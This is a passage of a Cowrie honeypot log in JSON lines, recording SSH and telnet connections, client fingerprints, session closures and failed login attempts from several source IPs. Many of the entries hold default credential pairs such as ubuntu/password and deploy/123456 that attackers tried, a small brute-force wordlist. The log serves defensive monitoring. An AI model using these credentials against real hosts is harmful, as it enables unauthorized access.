{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:48.513884Z","src_ip":"201.17.146.173","session":"9d78e0276e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:48.815672Z","src_ip":"201.17.146.173","session":"9d78e0276e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:48.890439Z","src_ip":"45.153.34.195","session":"65a795274b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":50150,"dst_ip":"10.17.0.5","dst_port":22,"session":"d092b6a05d07","protocol":"ssh","message":"New connection: 45.153.34.195:50150 (10.17.0.5:22) [session: d092b6a05d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:49.834963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:49.842922Z","src_ip":"45.153.34.195","session":"d092b6a05d07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:49.946383Z","src_ip":"45.153.34.195","session":"d092b6a05d07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"abc12345","message":"login attempt [user1/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:50.134874Z","src_ip":"201.17.146.173","session":"9d78e0276e73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odroid","password":"odroid","message":"login attempt [odroid/odroid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:50.403693Z","src_ip":"45.153.34.195","session":"d092b6a05d07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":84.69102072715759,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:50.752045Z","src_ip":"107.6.151.170","session":"35b48cca7480","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":51624,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cf816a6a08a","protocol":"ssh","message":"New connection: 97.74.87.152:51624 (159.203.135.109:22) [session: 2cf816a6a08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:50.807167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:50.812762Z","src_ip":"97.74.87.152","session":"2cf816a6a08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:50.957047Z","src_ip":"91.92.40.36","session":"6377abf087e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:51.053236Z","src_ip":"97.74.87.152","session":"2cf816a6a08a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:51.289167Z","src_ip":"201.17.146.173","session":"9d78e0276e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:51.488468Z","src_ip":"45.153.34.195","session":"d092b6a05d07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"1234","message":"login attempt [ghost/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:52.049571Z","src_ip":"97.74.87.152","session":"2cf816a6a08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:52.168568Z","src_ip":"91.92.40.36","session":"26e51626f21c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.70.71.228","src_port":47516,"dst_ip":"159.203.135.109","dst_port":23,"session":"106722ce1b6b","protocol":"telnet","message":"New connection: 31.70.71.228:47516 (159.203.135.109:23) [session: 106722ce1b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:52.221142Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":60524,"dst_ip":"10.17.0.5","dst_port":22,"session":"f44a5e8dd0b6","protocol":"ssh","message":"New connection: 45.153.34.195:60524 (10.17.0.5:22) [session: f44a5e8dd0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:52.967122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:52.973544Z","src_ip":"45.153.34.195","session":"f44a5e8dd0b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.0","message":"Connection lost after 12.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:52.985278Z","src_ip":"91.92.40.36","session":"6377abf087e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:53.055795Z","src_ip":"45.153.34.195","session":"f44a5e8dd0b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59066,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfec17b83e5d","protocol":"ssh","message":"New connection: 91.92.40.36:59066 (10.17.0.5:22) [session: cfec17b83e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:53.146255Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:53.291260Z","src_ip":"97.74.87.152","session":"2cf816a6a08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:53.303083Z","src_ip":"45.153.34.195","session":"f44a5e8dd0b6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:53.971328Z","src_ip":"91.92.40.36","session":"cfec17b83e5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:53.975067Z","src_ip":"91.92.40.36","session":"cfec17b83e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:54.386310Z","src_ip":"45.153.34.195","session":"f44a5e8dd0b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.2","message":"Connection lost after 18.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:55.025616Z","src_ip":"91.92.40.36","session":"26e51626f21c","protocol":"ssh"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:55.124962Z","src_ip":"31.70.71.228","session":"106722ce1b6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":60550,"dst_ip":"10.17.0.5","dst_port":22,"session":"abf740b654a7","protocol":"ssh","message":"New connection: 45.153.34.195:60550 (10.17.0.5:22) [session: abf740b654a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:55.903299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:55.915322Z","src_ip":"45.153.34.195","session":"abf740b654a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:56.006805Z","src_ip":"45.153.34.195","session":"abf740b654a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345","message":"login attempt [ubuntu/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:56.320062Z","src_ip":"45.153.34.195","session":"abf740b654a7","protocol":"ssh"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:56.442791Z","src_ip":"31.70.71.228","session":"106722ce1b6b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:56.762332Z","src_ip":"91.92.40.36","session":"cfec17b83e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:57.412503Z","src_ip":"45.153.34.195","session":"abf740b654a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:58.416994Z","src_ip":"91.92.40.36","session":"cfec17b83e5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":60566,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1d54aaf7e1f","protocol":"ssh","message":"New connection: 45.153.34.195:60566 (10.17.0.5:22) [session: d1d54aaf7e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:58.589118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:58.770885Z","src_ip":"45.153.34.195","session":"d1d54aaf7e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:58.773925Z","src_ip":"45.153.34.195","session":"d1d54aaf7e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eva","password":"eva","message":"login attempt [eva/eva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:59.309905Z","src_ip":"45.153.34.195","session":"d1d54aaf7e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:00.535921Z","src_ip":"45.153.34.195","session":"d1d54aaf7e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42106,"dst_ip":"10.17.0.5","dst_port":22,"session":"c61b6a19492c","protocol":"ssh","message":"New connection: 91.92.40.36:42106 (10.17.0.5:22) [session: c61b6a19492c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:00.932353Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":60578,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e7d4e08773d","protocol":"ssh","message":"New connection: 45.153.34.195:60578 (10.17.0.5:22) [session: 4e7d4e08773d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:01.543597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:01.554723Z","src_ip":"45.153.34.195","session":"4e7d4e08773d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@o